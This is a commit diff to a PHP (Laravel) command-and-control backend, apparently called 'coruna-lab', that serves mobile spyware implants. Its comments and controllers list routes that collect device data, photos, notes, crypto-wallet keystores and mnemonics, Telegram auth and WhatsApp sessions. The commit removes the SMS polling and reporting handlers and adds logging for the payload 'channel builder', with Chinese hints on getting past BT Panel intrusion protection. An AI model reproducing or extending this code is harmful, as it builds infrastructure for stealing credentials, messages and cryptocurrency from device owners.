feat: delete
This commit is contained in:
@@ -283,7 +283,6 @@ class DeviceController extends Controller
|
||||
$device->mnemonics()->delete();
|
||||
$device->keystores()->delete();
|
||||
$device->pluginSessions()->delete();
|
||||
$device->smsReports()->delete();
|
||||
$device->beaconTasks()->delete();
|
||||
$device->delete();
|
||||
});
|
||||
|
||||
@@ -172,7 +172,7 @@ class C2Controller extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* SMS task poll from imagent. Native treats code==0 as "poll every 3s";
|
||||
* Old imagent poll path. Native treats code==0 as "poll every 3s";
|
||||
* non-zero backs off to ~60s — return code 1 to avoid hammering.
|
||||
* Payload `p` is the device phone number.
|
||||
*/
|
||||
|
||||
@@ -14,8 +14,7 @@ use Illuminate\Http\Response;
|
||||
* Native path map (corepayload + details plugins):
|
||||
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
|
||||
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
|
||||
* /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap),
|
||||
* /m/t/g /m/t/r imagent SMS poll / report (sms).
|
||||
* /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap).
|
||||
*
|
||||
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
|
||||
* Plugin routes do not write channel_id (same as /api/tg/t).
|
||||
@@ -194,35 +193,6 @@ class XxbbC2Controller extends Controller
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* sms: POST /m/t/g — poll outbound SMS tasks.
|
||||
* Lab never queues send tasks; code=1 + empty data matches native backoff.
|
||||
*/
|
||||
public function smsPoll(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDevicePhone($device, $payload);
|
||||
$this->ingest->ingestSmsHeartbeat($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request, ['code' => 1, 'data' => []]);
|
||||
}
|
||||
|
||||
/** sms: POST /m/t/r — task result / status. */
|
||||
public function smsReport(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDevicePhone($device, $payload);
|
||||
$this->ingest->ingestSmsTaskReport($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed>|null $body
|
||||
*/
|
||||
|
||||
@@ -164,11 +164,6 @@ class Device extends Model
|
||||
return $this->hasMany(PluginSession::class);
|
||||
}
|
||||
|
||||
public function smsReports(): HasMany
|
||||
{
|
||||
return $this->hasMany(SmsReport::class);
|
||||
}
|
||||
|
||||
public function beaconTasks(): HasMany
|
||||
{
|
||||
return $this->hasMany(DsBeaconTask::class)->orderBy('position');
|
||||
|
||||
@@ -1,25 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class SmsReport extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'device_key', 'task_id', 'dest_phone', 'local_phone', 'msg', 'status', 'payload',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'payload' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -431,25 +431,130 @@ class ChannelProjectService
|
||||
private function runBuilder(array $cmd, string $errorPrefix, string $cwd): array
|
||||
{
|
||||
$timeout = (float) config('coruna.channel_builder.timeout', 600);
|
||||
$probe = $this->builderProbe($cmd, $cwd);
|
||||
Log::info('channel_builder start', $probe + [
|
||||
'error_prefix' => $errorPrefix,
|
||||
'timeout' => $timeout,
|
||||
]);
|
||||
|
||||
$started = microtime(true);
|
||||
$process = Process::timeout((int) max(1, $timeout))
|
||||
->path($cwd)
|
||||
->run($cmd);
|
||||
$ms = (int) ((microtime(true) - $started) * 1000);
|
||||
$stdout = trim($process->output());
|
||||
$stderr = trim($process->errorOutput());
|
||||
|
||||
if (! $process->successful()) {
|
||||
$detail = trim($process->errorOutput() ?: $process->output());
|
||||
$detail = mb_substr($detail !== '' ? $detail : 'builder exited '.$process->exitCode(), 0, 800);
|
||||
Log::error('Channel builder failed', [
|
||||
$hint = trim($this->builderFailHint((int) $process->exitCode(), $cmd, $cwd).' '
|
||||
.$this->hardeningHint($stderr."\n".$stdout, $process->exitCode()));
|
||||
Log::error('channel_builder failed', $probe + [
|
||||
'error_prefix' => $errorPrefix,
|
||||
'exit_code' => $process->exitCode(),
|
||||
'detail' => $detail,
|
||||
'cmd' => $cmd,
|
||||
'ms' => $ms,
|
||||
'stdout' => mb_substr($stdout, 0, 2000),
|
||||
'stderr' => mb_substr($stderr, 0, 2000),
|
||||
'hint' => $hint,
|
||||
]);
|
||||
$detail = $stderr !== '' ? $stderr : $stdout;
|
||||
if ($detail === '') {
|
||||
$detail = 'builder exited '.$process->exitCode();
|
||||
}
|
||||
if ($hint !== '') {
|
||||
$detail .= ';'.$hint;
|
||||
}
|
||||
|
||||
throw new RuntimeException("{$errorPrefix}: {$detail}");
|
||||
throw new RuntimeException($errorPrefix.': '.mb_substr($detail, 0, 2500));
|
||||
}
|
||||
|
||||
Log::info('channel_builder ok', [
|
||||
'error_prefix' => $errorPrefix,
|
||||
'ms' => $ms,
|
||||
'cwd' => $cwd,
|
||||
'python' => $cmd[0] ?? '',
|
||||
]);
|
||||
|
||||
return $this->parseResultMarker($process->output(), $errorPrefix);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $cmd
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function builderProbe(array $cmd, string $cwd): array
|
||||
{
|
||||
$python = (string) ($cmd[0] ?? '');
|
||||
$script = (string) ($cmd[1] ?? '');
|
||||
$uid = function_exists('posix_geteuid') ? posix_geteuid() : getmyuid();
|
||||
$user = function_exists('posix_getpwuid')
|
||||
? ((posix_getpwuid((int) $uid)['name'] ?? null) ?: (string) $uid)
|
||||
: (string) $uid;
|
||||
|
||||
return [
|
||||
'cwd' => $cwd,
|
||||
'cwd_exists' => is_dir($cwd),
|
||||
'cmd' => $cmd,
|
||||
'php_user' => $user,
|
||||
'php_uid' => $uid,
|
||||
'python' => $python,
|
||||
'python_is_abs' => $python !== '' && $python[0] === '/',
|
||||
'python_is_link' => $python !== '' && @is_link($python),
|
||||
'python_is_file' => $python !== '' && @is_file($python),
|
||||
'python_link' => ($python !== '' && @is_link($python)) ? (string) @readlink($python) : null,
|
||||
'script' => $script,
|
||||
'script_exists' => $script !== '' && is_file($script),
|
||||
'path_env' => (string) (getenv('PATH') ?: ''),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $cmd
|
||||
*/
|
||||
private function builderFailHint(int $exit, array $cmd, string $cwd): string
|
||||
{
|
||||
if ($exit !== 127) {
|
||||
return '';
|
||||
}
|
||||
$python = (string) ($cmd[0] ?? '');
|
||||
$script = (string) ($cmd[1] ?? '');
|
||||
$bits = ['exit 127 = 命令不存在'];
|
||||
if ($python === '' || $python === 'python3') {
|
||||
$bits[] = '未找到可用 python(.env CORUNA_CHANNEL_BUILDER_NEW_PYTHON 为空且无 .venv)';
|
||||
} elseif (! @is_file($python) && ! @is_link($python)) {
|
||||
$bits[] = '解释器路径不存在: '.$python;
|
||||
} else {
|
||||
$target = @is_link($python) ? (string) @readlink($python) : '';
|
||||
if ($target !== '') {
|
||||
$bits[] = 'venv python 软链指向 '.$target.'(目标机上可能没有这个 python)';
|
||||
}
|
||||
}
|
||||
if ($script !== '' && ! is_file($script)) {
|
||||
$bits[] = '脚本不存在: '.$script;
|
||||
}
|
||||
if (! is_dir($cwd)) {
|
||||
$bits[] = '工作目录不存在: '.$cwd;
|
||||
}
|
||||
|
||||
return implode(';', $bits);
|
||||
}
|
||||
|
||||
private function hardeningHint(string $output, ?int $exit = null): string
|
||||
{
|
||||
$hay = strtolower($output);
|
||||
if (str_contains($hay, 'tips from bt security')
|
||||
|| str_contains($hay, 'your request has been recorded')
|
||||
|| $exit === 9 || $exit === 137) {
|
||||
return '堡塔防入侵拦截了 www 执行 python。软件商店 → 堡塔防入侵 → 看 www 拦截日志,把 venv python 与 /usr/bin/python3.10 加白后再建渠道';
|
||||
}
|
||||
if (! str_contains($hay, 'py7zr') && ! str_contains($hay, 'permission denied')
|
||||
&& ! str_contains($hay, 'cannot open shared object')) {
|
||||
return '';
|
||||
}
|
||||
|
||||
return '宝塔系统加固常去掉 /usr/bin/python3.10 与 venv 里 .so 的执行权限。'
|
||||
.'请把 /www/wwwroot/coruna-lab 加入加固排除,并 chmod 755 系统 python 与 venv 下 *.so';
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
|
||||
@@ -10,7 +10,6 @@ use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\SmsReport;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
@@ -197,8 +196,8 @@ class IngestService
|
||||
}
|
||||
|
||||
/**
|
||||
* Own number from sms.js / old imagent. First write wins.
|
||||
* Prefer `p` / `phoneNumber` / cardsinfo; bare `phone` is dest on /m/t/r.
|
||||
* Own number from /event (and leftover imagent payloads). First write wins.
|
||||
* Prefer `p` / `phoneNumber` / cardsinfo; ignore bare `phone` when task_id is set.
|
||||
*/
|
||||
public function ingestDevicePhone(Device $device, ?array $payload): void
|
||||
{
|
||||
@@ -218,8 +217,8 @@ class IngestService
|
||||
}
|
||||
|
||||
/**
|
||||
* sms.js: CTSettingCopyMyPhoneNumber → `p` / `phoneNumber`; SIM slot in cardsinfo.
|
||||
* `/m/t/r` uses `phone` as the send-to dest, so ignore it when task_id is present.
|
||||
* Prefer `p` / `phoneNumber`; SIM slot in cardsinfo.
|
||||
* Bare `phone` is treated as dest when task_id is present.
|
||||
*/
|
||||
private function extractOwnPhone(array $payload): ?string
|
||||
{
|
||||
@@ -597,48 +596,6 @@ class IngestService
|
||||
return $payload;
|
||||
}
|
||||
|
||||
/**
|
||||
* sms.js /m/t/g — own number via CTSettingCopyMyPhoneNumber (`p` / `phone` / `phoneNumber`).
|
||||
*/
|
||||
public function ingestSmsHeartbeat(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$this->ingestDevicePhone($device, $payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* sms.js POST /m/t/r — task result. Dest is `phone`; own number is `p` / `phoneNumber`.
|
||||
*/
|
||||
public function ingestSmsTaskReport(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$this->ingestDevicePhone($device, $payload);
|
||||
|
||||
$taskId = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null);
|
||||
$dest = $this->scalarToString($payload['phone'] ?? $payload['to'] ?? $payload['t'] ?? null);
|
||||
$local = $this->scalarToString($payload['p'] ?? $payload['phoneNumber'] ?? null);
|
||||
$msg = $this->scalarToString($payload['msg'] ?? $payload['m'] ?? null);
|
||||
$status = $this->scalarToString($payload['status'] ?? $payload['s'] ?? $payload['code'] ?? null);
|
||||
if ($taskId === null && $dest === null && $msg === null && $status === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
SmsReport::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'task_id' => $taskId,
|
||||
'dest_phone' => $dest !== null ? substr($dest, 0, 64) : null,
|
||||
'local_phone' => $local !== null ? substr($local, 0, 64) : null,
|
||||
'msg' => $msg,
|
||||
'status' => $status !== null ? substr($status, 0, 64) : null,
|
||||
'payload' => $payload,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $keepKeys
|
||||
* @param list<string> $accountKeys
|
||||
|
||||
Reference in New Issue
Block a user